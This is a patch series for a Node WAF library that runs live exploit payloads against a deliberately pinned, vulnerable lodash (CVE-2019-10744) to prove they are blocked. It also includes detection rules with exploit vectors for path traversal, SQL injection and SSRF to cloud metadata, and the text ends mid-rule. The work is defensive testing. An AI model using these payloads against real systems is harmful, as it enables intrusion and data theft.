From 67224eb384d966c57bced5ae43548ab4707b5905 Mon Sep 17 00:00:00 2001 From: Dave Jong Date: Tue, 14 Jul 2026 12:36:57 +0200 Subject: [PATCH 1/9] docs(protect): end-to-end demo + seed demo rules (public CVE) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit examples/protect/ — a runnable Verified Vulnerability Shielding demo against a REAL vulnerable dependency (lodash@4.17.11, CVE-2019-10744): exploit works unprotected → dry-run detects → block rejects the request before the sink → benign still served → response AWS-key redaction → egress SSRF block → proof line. No app redeploy, no token. rules.demo.json holds EXAMPLE rules for public CVEs only (clearly labeled) — NOT the production corpus, which is fetched per-site from the API at runtime. No secrets in-repo. Co-Authored-By: Claude Fable 5 --- examples/protect/README.md | 33 +++++++++++ examples/protect/demo.mjs | 94 ++++++++++++++++++++++++++++++++ examples/protect/package.json | 12 ++++ examples/protect/rules.demo.json | 45 +++++++++++++++ 4 files changed, 184 insertions(+) create mode 100644 examples/protect/README.md create mode 100644 examples/protect/demo.mjs create mode 100644 examples/protect/package.json create mode 100644 examples/protect/rules.demo.json diff --git a/examples/protect/README.md b/examples/protect/README.md new file mode 100644 index 0000000..2eb64a7 --- /dev/null +++ b/examples/protect/README.md @@ -0,0 +1,33 @@ +# @patchstack/connect/protect — end-to-end demo + +Shows the full **Verified Vulnerability Shielding** loop against a **real, unmodified +vulnerable dependency** — no mocks of the vulnerability itself. + +```bash +cd examples/protect +npm install # pulls the real vulnerable lodash@4.17.11 (CVE-2019-10744) +npm run demo +``` + +Expected: all six steps ✓. + +## What it demonstrates + +| Step | | +|---|---| +| 1 | The exploit works **unprotected** — `lodash.defaultsDeep` on a `{"constructor":{"prototype":…}}` body pollutes `Object.prototype`. | +| 2 | **dry-run**: the vPatch *detects + logs* the exploit but still serves it (the safe onramp). | +| 3 | **block**: the request is rejected (403) before the vulnerable sink runs — prototype stays clean. | +| 4 | A **benign** request to the same route is still served (no false positive). | +| 5 | A response that accidentally **leaks an AWS key** has it **redacted** (`[REDACTED]`) while the page is still served. | +| 6 | An **outbound SSRF** to cloud metadata (`169.254.169.254`) is blocked; an external call is allowed. | + +…and prints the proof line: *"CVE-2019-10744 in lodash@4.17.11 is blocked here, right now, +by rule `demo-CVE-2019-10744` — until you upgrade to 4.17.12. No app redeploy required."* + +## Note on rules + +`rules.demo.json` holds **example rules for public CVEs only** — it is **not** the +Patchstack production corpus. In a real deployment the per-site, version-scoped rule set is +fetched from the Patchstack API (`createProtection({ token })`), cached to disk. The demo +uses a local bundle and **no token / secret**. diff --git a/examples/protect/demo.mjs b/examples/protect/demo.mjs new file mode 100644 index 0000000..02e2a32 --- /dev/null +++ b/examples/protect/demo.mjs @@ -0,0 +1,94 @@ +// End-to-end "Verified Vulnerability Shielding" demo for @patchstack/connect/protect. +// +// A REAL, unmodified vulnerable dependency (lodash@4.17.11, CVE-2019-10744) is exploited +// live through an app endpoint; then the vPatch is applied and the SAME exploit is replayed +// and blocked — with an auditable proof. Also demonstrates response secret-leak redaction +// and egress SSRF blocking. Public CVE + demo rules only; no tokens/secrets. +// +// cd examples/protect && npm install && node demo.mjs +import { readFileSync } from 'node:fs'; +import _ from 'lodash'; +import { createProtection } from '../../src/protect/runtime.js'; + +const rules = JSON.parse(readFileSync(new URL('./rules.demo.json', import.meta.url), 'utf8')); +const LODASH = _.VERSION; // 4.17.11 (vulnerable; fixed in 4.17.12) + +let ok = true; +const line = (pass, msg) => { ok = pass && ok; console.log(` ${pass ? '✓' : '✗'} ${msg}`); }; + +// The vulnerable app endpoint: "save settings" deep-merges the JSON body via lodash — the +// CVE-2019-10744 sink. +const appHandler = async (request) => { + const body = await request.json().catch(() => ({})); + _.defaultsDeep({}, body); // vulnerable sink + return new Response(JSON.stringify({ ok: true }), { status: 200, headers: { 'content-type': 'application/json' } }); +}; + +const exploit = () => + new Request('https://app.demo/api/settings', { + method: 'POST', + headers: { 'content-type': 'application/json' }, + body: '{"constructor":{"prototype":{"polluted":"yes"}}}', + }); + +const polluted = () => { + const hit = ({}).polluted === 'yes'; + delete Object.prototype.polluted; + return hit; +}; + +console.log(`\nTarget: lodash@${LODASH} (CVE-2019-10744, fixed in 4.17.12)\n`); + +// 1. UNPROTECTED — the exploit works. +await appHandler(exploit()); +line(polluted(), '1. unprotected: exploit pollutes Object.prototype (VULNERABLE)'); + +// 2. DRY-RUN — detected, logged, NOT enforced (the safe onramp). +{ + const detections = []; + const p = await createProtection({ rules, mode: 'dry-run', onDetect: (d) => detections.push(d) }); + await p.fetch(appHandler)(exploit()); + const detected = detections.some((d) => d.rule?.id === 'demo-CVE-2019-10744'); + line(detected && polluted(), '2. dry-run: detected + logged, but still served (not enforced)'); +} + +// 3. BLOCK — request rejected before the sink runs; no pollution. +{ + const p = await createProtection({ rules, mode: 'block' }); + const res = await p.fetch(appHandler)(exploit()); + line(res.status === 403 && !polluted(), '3. block: exploit → 403, sink never runs, prototype clean'); + const benign = await p.fetch(appHandler)(new Request('https://app.demo/api/settings', { method: 'POST', headers: { 'content-type': 'application/json' }, body: '{"theme":"dark"}' })); + line(benign.status === 200, '4. block: benign request still served (200, no false positive)'); +} + +// 5. RESPONSE leak — an endpoint accidentally returns a key; it's masked, page still served. +{ + const p = await createProtection({ mode: 'block' }); // default response rules + const leak = () => new Response(JSON.stringify({ ok: true, awsKey: 'AKIAIOSFODNN7EXAMPLE' }), { status: 200, headers: { 'content-type': 'application/json' } }); + const res = await p.fetch(leak)(new Request('https://app.demo/config')); + const body = await res.text(); + line(res.status === 200 && !body.includes('AKIAIOSFODNN7EXAMPLE') && body.includes('[REDACTED]'), '5. response: leaked AWS key redacted, page still served'); +} + +// 6. EGRESS SSRF — the app's outbound call to cloud metadata is blocked (stubbed fetch). +{ + const orig = globalThis.fetch; + globalThis.fetch = async (u) => ({ marker: 'stub', url: String(u) }); + const p = await createProtection({ egress: true, mode: 'block' }); + try { + let blocked = false; + try { await globalThis.fetch('http://169.254.169.254/latest/meta-data/'); } catch { blocked = true; } + const ext = await globalThis.fetch('https://api.github.com/'); + line(blocked && ext.marker === 'stub', '6. egress: outbound to 169.254.169.254 blocked, external allowed'); + } finally { + p.uninstallEgress?.(); + globalThis.fetch = orig; + } +} + +console.log( + `\n PROOF: CVE-2019-10744 in lodash@${LODASH} is blocked here, right now, by rule ` + + `demo-CVE-2019-10744 — until you upgrade to 4.17.12. No app redeploy required.\n`, +); +console.log(ok ? '✓ ALL PASS\n' : '✗ FAILED\n'); +process.exit(ok ? 0 : 1); diff --git a/examples/protect/package.json b/examples/protect/package.json new file mode 100644 index 0000000..76d92c5 --- /dev/null +++ b/examples/protect/package.json @@ -0,0 +1,12 @@ +{ + "name": "connect-protect-demo", + "private": true, + "type": "module", + "description": "End-to-end demo for @patchstack/connect/protect (public CVE, demo rules only)", + "dependencies": { + "lodash": "4.17.11" + }, + "scripts": { + "demo": "node demo.mjs" + } +} diff --git a/examples/protect/rules.demo.json b/examples/protect/rules.demo.json new file mode 100644 index 0000000..ed0db08 --- /dev/null +++ b/examples/protect/rules.demo.json @@ -0,0 +1,45 @@ +{ + "_comment": "DEMO / EXAMPLE rules for public CVEs only — NOT the Patchstack production corpus. In a real deployment the per-site, version-scoped rule set is fetched from the Patchstack API (createProtection({ token })). Hand-derived from public advisories for the example below.", + "firewall": [ + { + "id": "demo-CVE-2019-10744", + "title": "Prototype pollution in lodash (defaultsDeep / merge / set)", + "vulnerability_id": "CVE-2019-10744", + "category": "prototype-pollution", + "rule_v2": [ + { "parameter": "raw", "mutations": ["urldecode"], "match": { "type": "contains", "value": "__proto__" } }, + { + "parameter": "rules", + "rules": [ + { "parameter": "raw", "mutations": ["urldecode"], "match": { "type": "contains", "value": "constructor" }, "inclusive": true }, + { "parameter": "raw", "mutations": ["urldecode"], "match": { "type": "contains", "value": "prototype" }, "inclusive": true } + ] + } + ] + }, + { + "id": "demo-path-traversal", + "title": "Path traversal in a file/path parameter", + "category": "lfi", + "rule_v2": [ + { "parameter": ["get.file", "post.file", "raw.file", "get.path", "post.path"], "mutations": ["urldecode"], "match": { "type": "contains", "value": ".." } } + ] + }, + { + "id": "demo-ssrf-url-param", + "title": "SSRF via a url parameter (request-side)", + "category": "ssrf", + "rule_v2": [ + { + "parameter": "rules", + "rules": [ + { "parameter": ["get.url", "post.url", "raw.url"], "mutations": ["urldecode"], "match": { "type": "contains", "value": "localhost" } }, + { "parameter": ["get.url", "post.url", "raw.url"], "mutations": ["urldecode"], "match": { "type": "regex", "value": "/(127\\.0\\.0\\.1|169\\.254\\.169\\.254|::1|metadata\\.google)/i" } } + ] + } + ] + } + ], + "whitelists": [], + "whitelist_keys": {} +} From c2fa4c2213b92a085fb9e5664294515ffacb095c Mon Sep 17 00:00:00 2001 From: Dave Jong Date: Tue, 14 Jul 2026 13:41:31 +0200 Subject: [PATCH 2/9] feat(protect): opt-in response screening for node/express + Supabase guard MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Extend Tier-3 response-phase screening (secret-leak redaction / withhold) beyond the fetch() path to the remaining server surfaces: - runtime: expose `screenResponse(response)`; wire `{ screenResponses: true }` into node() and express() (buffers the outgoing body, then redacts spans or withholds via the response rules). Opt-in — buffering can delay a stream, and bodies over 512 KiB pass through unscanned. fetch() now shares the same screenResp() closure. - supabase-guard: screen the forwarded upstream response through protection.screenResponse (query results can leak secrets/PII). Fails open. - types: add screenResponse + the screenResponses option; +8 tests (tests/protect/response-guards.test.ts) covering node/express/Supabase redact, block-withhold, non-text passthrough, dry-run, and opt-in gating. Co-Authored-By: Claude Opus 4.8 --- src/protect/protect.d.ts | 6 +- src/protect/runtime.js | 111 ++++++++++++++--- src/protect/supabase-guard.js | 6 +- tests/protect/response-guards.test.ts | 166 ++++++++++++++++++++++++++ 4 files changed, 270 insertions(+), 19 deletions(-) create mode 100644 tests/protect/response-guards.test.ts diff --git a/src/protect/protect.d.ts b/src/protect/protect.d.ts index 85df960..8b327a1 100644 --- a/src/protect/protect.d.ts +++ b/src/protect/protect.d.ts @@ -17,8 +17,10 @@ export interface Protection { fetchGuard(): (request: Request) => Promise; /** Screens the request, then the response (secret-leak redaction / withhold). */ fetch(handler: (request: Request, ...rest: unknown[]) => unknown): (request: Request, ...rest: unknown[]) => Promise; - express(): (req: unknown, res: unknown, next: () => void) => void; - node(options?: { maxBodyBytes?: number }): (req: unknown, res: unknown, next: () => void) => void; + /** Screen a fetch Response through the response-phase rules (redact/withhold). */ + screenResponse(response: Response): Promise; + express(options?: { screenResponses?: boolean }): (req: unknown, res: unknown, next: () => void) => void; + node(options?: { maxBodyBytes?: number; screenResponses?: boolean }): (req: unknown, res: unknown, next: () => void) => void; /** Present when `egress: true` — restores the original global fetch. */ uninstallEgress?: () => void; } diff --git a/src/protect/runtime.js b/src/protect/runtime.js index 588edd4..ff224f7 100644 --- a/src/protect/runtime.js +++ b/src/protect/runtime.js @@ -93,12 +93,14 @@ export async function createProtection(options = {}) { return mode === 'block' ? block() : allow(); }; - // Response phase: redact matched spans (default) or withhold; block wins over redact. - const screenFetchResponse = async (response) => { - const text = await readTextResponse(response); - if (text == null) return response; - const meta = { status: response.status, headers: headerObject(response.headers) }; - + // Response phase core: screen a text body → { verdict: 'pass'|'block'|'redact', body? }. + // redact masks matched spans; block withholds; block wins over redact. Enforcement only in + // block mode (dry-run records via onDetect but returns 'pass'). + const isTextCT = (ct) => { + ct = (ct || '').toLowerCase(); + return ct === '' || /(json|text|xml|html|javascript|csv|yaml|x-www-form-urlencoded)/.test(ct); + }; + const screenText = (text, meta) => { let blockRule = null; const redactions = []; for (const { rule, engine: re, redactors } of responseRuleSet) { @@ -115,17 +117,78 @@ export async function createProtection(options = {}) { if (redactors && redactors.length) redactions.push({ rule, redactors }); else if (!blockRule) blockRule = rule; } + if (mode !== 'block' || (!blockRule && !redactions.length)) return { verdict: 'pass' }; + if (blockRule) return { verdict: 'block' }; + let body = text; + for (const { rule, redactors } of redactions) body = applyRedactors(body, redactors, maskFn(rule.category)); + return { verdict: 'redact', body }; + }; - if (mode !== 'block') return response; - if (blockRule) return leakResponse(); - if (redactions.length) { - let body = text; - for (const { rule, redactors } of redactions) body = applyRedactors(body, redactors, maskFn(rule.category)); - return rebuildResponse(response, body); - } + // Screen a fetch Response (used by .fetch() and — via protection.screenResponse — the Supabase guard). + const screenResp = async (response) => { + const text = await readTextResponse(response); + if (text == null) return response; + const r = screenText(text, { status: response.status, headers: headerObject(response.headers) }); + if (r.verdict === 'block') return leakResponse(); + if (r.verdict === 'redact') return rebuildResponse(response, r.body); return response; }; + // Wrap a Node ServerResponse so its (buffered, text) body is screened before it's sent. + // Opt-in (buffering can delay a streamed response); over 512 KiB it stops buffering and + // passes through unscanned. + const wrapNodeResponse = (res) => { + const origWrite = res.write.bind(res); + const origEnd = res.end.bind(res); + const chunks = []; + let size = 0; + let overflow = false; + const MAX = 512 * 1024; + const collect = (chunk, enc) => { + if (chunk == null) return; + const buf = Buffer.isBuffer(chunk) ? chunk : Buffer.from(chunk, typeof enc === 'string' ? enc : 'utf8'); + size += buf.length; + if (size > MAX) { overflow = true; return; } + chunks.push(buf); + }; + res.write = function (chunk, enc, cb) { + if (overflow) return origWrite(chunk, enc, cb); + collect(chunk, enc); + if (typeof enc === 'function') enc(); + else if (typeof cb === 'function') cb(); + return true; + }; + res.end = function (chunk, enc, cb) { + if (typeof chunk === 'function') { cb = chunk; chunk = undefined; enc = undefined; } + else if (typeof enc === 'function') { cb = enc; enc = undefined; } + if (overflow) { if (chunk != null) origWrite(chunk, enc); return origEnd(cb); } + collect(chunk, enc); + const text = Buffer.concat(chunks).toString('utf8'); + let ct = res.getHeader ? res.getHeader('content-type') : undefined; + if (Array.isArray(ct)) ct = ct[0]; + if (!isTextCT(ct)) { for (const c of chunks) origWrite(c); return origEnd(cb); } + let r; + try { + r = screenText(text, { status: res.statusCode, headers: {} }); + } catch (err) { + onError?.(err); + for (const c of chunks) origWrite(c); + return origEnd(cb); + } + if (r.verdict === 'block') { + res.statusCode = 500; + try { res.setHeader('content-type', 'application/json'); } catch { /* headers sent */ } + return origEnd(JSON.stringify({ error: 'Response withheld by Patchstack (sensitive data detected)' }), cb); + } + if (r.verdict === 'redact') { + try { res.removeHeader && res.removeHeader('content-length'); } catch { /* ignore */ } + return origEnd(r.body, cb); + } + for (const c of chunks) origWrite(c); + return origEnd(cb); + }; + }; + // Egress phase: is this outbound call blocked? (records detection either way) const allow = new Set((options.allowHosts ?? []).map((h) => String(h).toLowerCase())); const egressShouldBlock = (url, host, method) => { @@ -146,6 +209,10 @@ export async function createProtection(options = {}) { mode, rules: { request: requestRules, response: responseRules, egress: egressRules }, + // Screen a fetch Response through the response-phase rules (redact/block). Used by + // .fetch(), and by the Supabase guard on its forwarded upstream response. + screenResponse: (response) => screenResp(response), + // (request) => Response | null (null = allow, caller proceeds). Request phase only. fetchGuard() { return async (request) => { @@ -167,25 +234,36 @@ export async function createProtection(options = {}) { const blocked = await guard(request); if (blocked) return blocked; const response = await handler(request, ...rest); - return screenFetchResponse(response); + return screenResp(response); }; }, // Express middleware (request phase; expects express-parsed req.query/req.body). - express() { + // Pass { screenResponses: true } to also screen the outgoing response (buffers it). + express(exprOptions = {}) { return (req, res, next) => { let result; try { result = engine.evaluate(req); } catch (err) { onError?.(err); + if (exprOptions.screenResponses) wrapNodeResponse(res); return next(); } - decide('request', result, () => res.status(403).json(blockBody(result)), () => next()); + decide( + 'request', + result, + () => res.status(403).json(blockBody(result)), + () => { + if (exprOptions.screenResponses) wrapNodeResponse(res); + next(); + }, + ); }; }, // Node / Connect middleware — buffers the body itself (request phase). + // Pass { screenResponses: true } to also screen the outgoing response (buffers it). node(nodeOptions = {}) { const maxBytes = nodeOptions.maxBodyBytes ?? 1024 * 1024; return (req, res, next) => { @@ -227,6 +305,7 @@ export async function createProtection(options = {}) { // This guard consumed the request stream to screen it; re-expose the parsed // body so a downstream handler (without its own body-parser) can read it. if (req.body === undefined) req.body = shaped.body; + if (nodeOptions.screenResponses) wrapNodeResponse(res); next(); }, ); diff --git a/src/protect/supabase-guard.js b/src/protect/supabase-guard.js index 09c8300..4201373 100644 --- a/src/protect/supabase-guard.js +++ b/src/protect/supabase-guard.js @@ -73,6 +73,10 @@ export function createSupabaseGuard({ protection, supabaseUrl, fetchImpl = fetch if (!HOP_BY_HOP.has(key.toLowerCase())) outHeaders.set(key, value); }); const buf = await upstream.arrayBuffer(); - return new Response(buf, { status: upstream.status, statusText: upstream.statusText, headers: outHeaders }); + const forwarded = new Response(buf, { status: upstream.status, statusText: upstream.statusText, headers: outHeaders }); + + // Response phase: screen what Supabase returned (query results can leak secrets/PII) — + // redact the offending spans / withhold, per the response rules. Fail-open if unavailable. + return protection.screenResponse ? protection.screenResponse(forwarded) : forwarded; }; } diff --git a/tests/protect/response-guards.test.ts b/tests/protect/response-guards.test.ts new file mode 100644 index 0000000..8244989 --- /dev/null +++ b/tests/protect/response-guards.test.ts @@ -0,0 +1,166 @@ +import { describe, expect, it } from 'vitest'; +import { Readable } from 'node:stream'; +import { createProtection, createSupabaseGuard, GUARD_PATH } from '../../src/protect/runtime.js'; + +// Opt-in response screening across the non-fetch surfaces: the Supabase tunnel guard, the +// Node/Connect adapter, and the Express adapter. The fetch() path is covered in tier3.test.ts; +// here we prove the same redact/withhold verdicts reach the buffered Node/Express response and +// the forwarded Supabase upstream — and that node()/express() only screen when opted in. + +const AWS = 'AKIAIOSFODNN7EXAMPLE'; + +// --- a Node ServerResponse-like mock that wrapNodeResponse can wrap (write/end/*Header) --- +function mockRes() { + const out: Buffer[] = []; + return { + statusCode: 200, + _headers: {} as Record, + ended: false, + body: '', + setHeader(k: string, v: unknown) { this._headers[k.toLowerCase()] = v; }, + getHeader(k: string) { return this._headers[k.toLowerCase()]; }, + removeHeader(k: string) { delete this._headers[k.toLowerCase()]; }, + write(chunk: any) { out.push(Buffer.from(chunk)); return true; }, + end(chunk?: any) { + if (chunk != null && typeof chunk !== 'function') out.push(Buffer.from(chunk)); + this.body = Buffer.concat(out).toString('utf8'); + this.ended = true; + }, + }; +} + +function mockReq({ method = 'GET', url = '/', headers = {} as Record, body = '' } = {}) { + const req: any = Readable.from(body ? [Buffer.from(body)] : []); + req.method = method; + req.url = url; + req.headers = headers; + req.socket = { remoteAddress: '9.9.9.9' }; + return req; +} + +// --- Supabase tunnel guard: screen the forwarded upstream response --- +describe('supabase guard — response screening', () => { + const SUPA = 'https://proj.supabase.co'; + const guardReq = () => + new Request(`https://app.example.com${GUARD_PATH}`, { + method: 'POST', + headers: { 'content-type': 'application/json', 'x-ps-target': `${SUPA}/rest/v1/tasks` }, + body: JSON.stringify({ title: 'ok' }), + }); + + it('redacts a secret leaked in the Supabase result', async () => { + const protection = await createProtection({ mode: 'block' }); // default response rules + const upstream = (async () => + new Response(JSON.stringify([{ id: 1, api_key: AWS }]), { + status: 200, + headers: { 'content-type': 'application/json' }, + })) as any; + const handle = createSupabaseGuard({ protection, supabaseUrl: SUPA, fetchImpl: upstream }); + const res = await handle(guardReq()); + const body = await res.text(); + expect(res.status).toBe(200); + expect(body.includes(AWS)).toBe(false); + expect(body.includes('[REDACTED]')).toBe(true); + }); + + it('dry-run leaves the Supabase result untouched (observe only)', async () => { + const protection = await createProtection({ mode: 'dry-run' }); + const upstream = (async () => + new Response(JSON.stringify([{ api_key: AWS }]), { + status: 200, + headers: { 'content-type': 'application/json' }, + })) as any; + const handle = createSupabaseGuard({ protection, supabaseUrl: SUPA, fetchImpl: upstream }); + const body = await (await handle(guardReq())).text(); + expect(body.includes(AWS)).toBe(true); + }); +}); + +// --- Node adapter: opt-in wrapNodeResponse --- +describe('node() — response screening', () => { + // Drive the middleware, then let the "app" write the response inside next(). + function run(mw: any, req: any, res: any, appEnd: (res: any) => void) { + return new Promise((resolve) => { + mw(req, res, () => { appEnd(res); resolve(); }); + }); + } + const leakyApp = (res: any) => { + res.setHeader('content-type', 'application/json'); + res.end(JSON.stringify({ api_key: AWS })); + }; + + it('redacts a secret in the response when screenResponses is set', async () => { + const p = await createProtection({ mode: 'block' }); + const res = mockRes(); + await run(p.node({ screenResponses: true }), mockReq(), res, leakyApp); + expect(res.body.includes(AWS)).toBe(false); + expect(res.body.includes('[REDACTED]')).toBe(true); + expect(res.statusCode).toBe(200); + }); + + it('does NOT screen the response when screenResponses is omitted', async () => { + const p = await createProtection({ mode: 'block' }); + const res = mockRes(); + await run(p.node(), mockReq(), res, leakyApp); + expect(res.body.includes(AWS)).toBe(true); + }); + + it('withholds (500) when a block-action rule matches the response', async () => { + const p = await createProtection({ + mode: 'block', + responseRules: [ + { phase: 'response', category: 'x', action: 'block', rule_v2: [{ parameter: 'response.body', match: { type: 'contains', value: 'TOPSECRET' } }] }, + ], + }); + const res = mockRes(); + await run(p.node({ screenResponses: true }), mockReq(), res, (r: any) => { + r.setHeader('content-type', 'application/json'); + r.end(JSON.stringify({ v: 'TOPSECRET' })); + }); + expect(res.statusCode).toBe(500); + expect(res.body.includes('TOPSECRET')).toBe(false); + }); + + it('passes a non-text response through unscanned', async () => { + const p = await createProtection({ mode: 'block' }); + const res = mockRes(); + await run(p.node({ screenResponses: true }), mockReq(), res, (r: any) => { + r.setHeader('content-type', 'application/octet-stream'); + r.end(Buffer.from(AWS)); + }); + expect(res.body.includes(AWS)).toBe(true); + }); +}); + +// --- Express adapter: opt-in wrapNodeResponse --- +describe('express() — response screening', () => { + // express() evaluates synchronously; simulate the parsed req + app response. + function run(mw: any, req: any, res: any, appEnd: (res: any) => void) { + return new Promise((resolve) => { + mw(req, res, () => { appEnd(res); resolve(); }); + }); + } + + it('redacts a secret in the response when screenResponses is set', async () => { + const p = await createProtection({ mode: 'block' }); + const res = mockRes(); + const req: any = { method: 'GET', url: '/', query: {}, body: {}, headers: {} }; + await run(p.express({ screenResponses: true }), req, res, (r: any) => { + r.setHeader('content-type', 'application/json'); + r.end(JSON.stringify({ api_key: AWS })); + }); + expect(res.body.includes(AWS)).toBe(false); + expect(res.body.includes('[REDACTED]')).toBe(true); + }); + + it('does NOT screen when screenResponses is omitted', async () => { + const p = await createProtection({ mode: 'block' }); + const res = mockRes(); + const req: any = { method: 'GET', url: '/', query: {}, body: {}, headers: {} }; + await run(p.express(), req, res, (r: any) => { + r.setHeader('content-type', 'application/json'); + r.end(JSON.stringify({ api_key: AWS })); + }); + expect(res.body.includes(AWS)).toBe(true); + }); +}); From 9257dd346c60a7afd88c4356387ab4ce2d50f675 Mon Sep 17 00:00:00 2001 From: Dave Jong Date: Tue, 14 Jul 2026 13:57:28 +0200 Subject: [PATCH 3/9] chore(protect): commit examples/protect lockfile (pins vulnerable lodash) Pins lodash@4.17.11 so the end-to-end demo reproducibly installs the exact version CVE-2019-10744 targets. Co-Authored-By: Claude Opus 4.8 --- examples/protect/package-lock.json | 19 +++++++++++++++++++ 1 file changed, 19 insertions(+) create mode 100644 examples/protect/package-lock.json diff --git a/examples/protect/package-lock.json b/examples/protect/package-lock.json new file mode 100644 index 0000000..a659fbc --- /dev/null +++ b/examples/protect/package-lock.json @@ -0,0 +1,19 @@ +{ + "name": "connect-protect-demo", + "lockfileVersion": 3, + "requires": true, + "packages": { + "": { + "name": "connect-protect-demo", + "dependencies": { + "lodash": "4.17.11" + } + }, + "node_modules/lodash": { + "version": "4.17.11", + "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.11.tgz", + "integrity": "sha512-cQKh8igo5QUhZ7lg38DYWAxMvjSAKG0A8wGSVimP07SIUEK2UO+arSRKbRZWtelMtN5V0Hkwh5ryOto/SshYIg==", + "license": "MIT" + } + } +} From 491c4c801daf89d7a093b65157fb586985ee44c2 Mon Sep 17 00:00:00 2001 From: Dave Jong Date: Tue, 14 Jul 2026 14:45:40 +0200 Subject: [PATCH 4/9] feat(protect): comprehensive demo/test rule gallery + pack-safety guard MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit A loadable, self-validating showcase rule set for demo environments, plus a hard guarantee that the demo's vulnerable dependency never ships to consumers. - examples/protect/demo-rules.json: one bundle spanning all three phases — request WAF (prototype pollution, path traversal, SQLi, XSS, command injection, NoSQL injection, XXE, request-side SSRF), response leak (PII email / credit-card redaction on top of the built-in secret rules), and egress SSRF (blocklisted exfil host). Each rule carries an `_demo` block { exploit, benign } — generic PUBLIC signatures, NOT the production corpus. - examples/protect/gallery.mjs + demo-runner.mjs: run the bundle live, one row per rule (exploit blocked/redacted, benign allowed), grouped by phase. No vulnerable dependency needed — runs anywhere with zero install. - tests/protect/demo-rules.test.ts: asserts every demo rule blocks its exploit and passes its benign (via the same runner, so gallery + test never drift). - tests/pack-safety.test.ts + .npmignore: enforce that `npm pack` never ships examples/ (or any lodash artifact). The package.json "files" allowlist already excludes it; this makes the invariant fail CI if it's ever loosened. 370 tests pass, typecheck + build clean. Co-Authored-By: Claude Opus 4.8 --- .npmignore | 6 ++ examples/protect/README.md | 24 +++++ examples/protect/demo-rules.json | 162 +++++++++++++++++++++++++++++++ examples/protect/demo-runner.mjs | 86 ++++++++++++++++ examples/protect/gallery.mjs | 35 +++++++ examples/protect/package.json | 3 +- tests/pack-safety.test.ts | 37 +++++++ tests/protect/demo-rules.test.ts | 31 ++++++ 8 files changed, 383 insertions(+), 1 deletion(-) create mode 100644 examples/protect/demo-rules.json create mode 100644 examples/protect/demo-runner.mjs create mode 100644 examples/protect/gallery.mjs create mode 100644 tests/pack-safety.test.ts create mode 100644 tests/protect/demo-rules.test.ts diff --git a/.npmignore b/.npmignore index 2f11e39..f088ebe 100644 --- a/.npmignore +++ b/.npmignore @@ -6,3 +6,9 @@ tsup.config.ts .github coverage *.tsbuildinfo +# examples/ installs a REAL vulnerable dependency (lodash@4.17.11) for the demo — it must +# never ship to consumers. The package.json "files" allowlist already excludes it; these are +# a belt-and-suspenders backstop in case that allowlist is ever loosened. (tests/pack-safety +# enforces the invariant.) +examples +field-test diff --git a/examples/protect/README.md b/examples/protect/README.md index 2eb64a7..a15c542 100644 --- a/examples/protect/README.md +++ b/examples/protect/README.md @@ -25,6 +25,30 @@ Expected: all six steps ✓. …and prints the proof line: *"CVE-2019-10744 in lodash@4.17.11 is blocked here, right now, by rule `demo-CVE-2019-10744` — until you upgrade to 4.17.12. No app redeploy required."* +## Vulnerability gallery (demo-env showcase) + +For demonstrating **many** vulnerability classes at once (not one deep CVE proof), there's a +comprehensive demo rule set and a gallery runner — no vulnerable dependency required, so it runs +anywhere with zero install: + +```bash +node gallery.mjs # or: npm run gallery +``` + +It loads [`demo-rules.json`](./demo-rules.json) and shows, one row per rule, that the exploit is +blocked/redacted while a benign request to the same surface is allowed — across all three phases: + +- **request (WAF)** — prototype pollution, path traversal, SQLi, XSS, command injection, NoSQL + injection, XXE, request-side SSRF +- **response (leak)** — PII redaction (email, credit-card number) on top of the built-in secret + redaction (private keys, AWS/GCP keys, JWTs, DB URLs, stack traces) +- **egress (SSRF)** — outbound request to a blocklisted exfiltration host + +Each rule carries an `_demo` block (exploit + benign vector). The same bundle is asserted in CI by +`tests/protect/demo-rules.test.ts` (every rule must block its exploit and pass its benign) and the +whole `examples/` folder is kept out of the published npm package (`tests/pack-safety.test.ts`), so +the vulnerable `lodash` the deep demo installs never reaches consumers. + ## Note on rules `rules.demo.json` holds **example rules for public CVEs only** — it is **not** the diff --git a/examples/protect/demo-rules.json b/examples/protect/demo-rules.json new file mode 100644 index 0000000..9081c8c --- /dev/null +++ b/examples/protect/demo-rules.json @@ -0,0 +1,162 @@ +{ + "_comment": "COMPREHENSIVE DEMO / TEST rule set for @patchstack/connect/protect — NOT the Patchstack production corpus. Generic, public signatures spanning all three phases (request WAF / response leak / egress SSRF), each carrying an `_demo` block { desc, exploit, benign } used by gallery.mjs (live demonstration) and tests/protect/demo-rules.test.ts (every rule is proven to block its exploit and pass its benign). Load with createProtection({ rules: }); phase-tagged response/egress rules ADD to the built-in defaults. In production the per-site, version-scoped ruleset comes from the Patchstack API via createProtection({ token }).", + "firewall": [ + { + "id": "demo-prototype-pollution", + "title": "Prototype pollution in request body", + "category": "prototype-pollution", + "rule_v2": [ + { "parameter": "raw", "mutations": ["urldecode"], "match": { "type": "contains", "value": "__proto__" } }, + { + "parameter": "rules", + "rules": [ + { "parameter": "raw", "mutations": ["urldecode"], "match": { "type": "contains", "value": "constructor" }, "inclusive": true }, + { "parameter": "raw", "mutations": ["urldecode"], "match": { "type": "contains", "value": "prototype" }, "inclusive": true } + ] + } + ], + "_demo": { + "desc": "Deep-merge sink pollutes Object.prototype via a crafted body", + "exploit": { "method": "POST", "body": "{\"constructor\":{\"prototype\":{\"polluted\":\"yes\"}}}" }, + "benign": { "method": "POST", "body": "{\"theme\":\"dark\"}" } + } + }, + { + "id": "demo-path-traversal", + "title": "Path traversal in a file/path parameter", + "category": "lfi", + "rule_v2": [ + { "parameter": ["get.file", "post.file", "raw.file", "get.path", "post.path"], "mutations": ["urldecode"], "match": { "type": "contains", "value": ".." } } + ], + "_demo": { + "desc": "../ sequence in a file parameter escapes the intended directory", + "exploit": { "method": "GET", "path": "/download?file=../../etc/passwd" }, + "benign": { "method": "GET", "path": "/download?file=report.pdf" } + } + }, + { + "id": "demo-sqli", + "title": "SQL injection in a query parameter", + "category": "sqli", + "rule_v2": [ + { "parameter": ["get.q", "post.q", "get.id", "post.id", "raw"], "mutations": ["urldecode"], "match": { "type": "regex", "value": "/union\\s+select|;\\s*drop\\s+table|\\bor\\s+1\\s*=\\s*1\\b/i" } } + ], + "_demo": { + "desc": "UNION SELECT injected into a search parameter", + "exploit": { "method": "POST", "body": "{\"q\":\"1 UNION 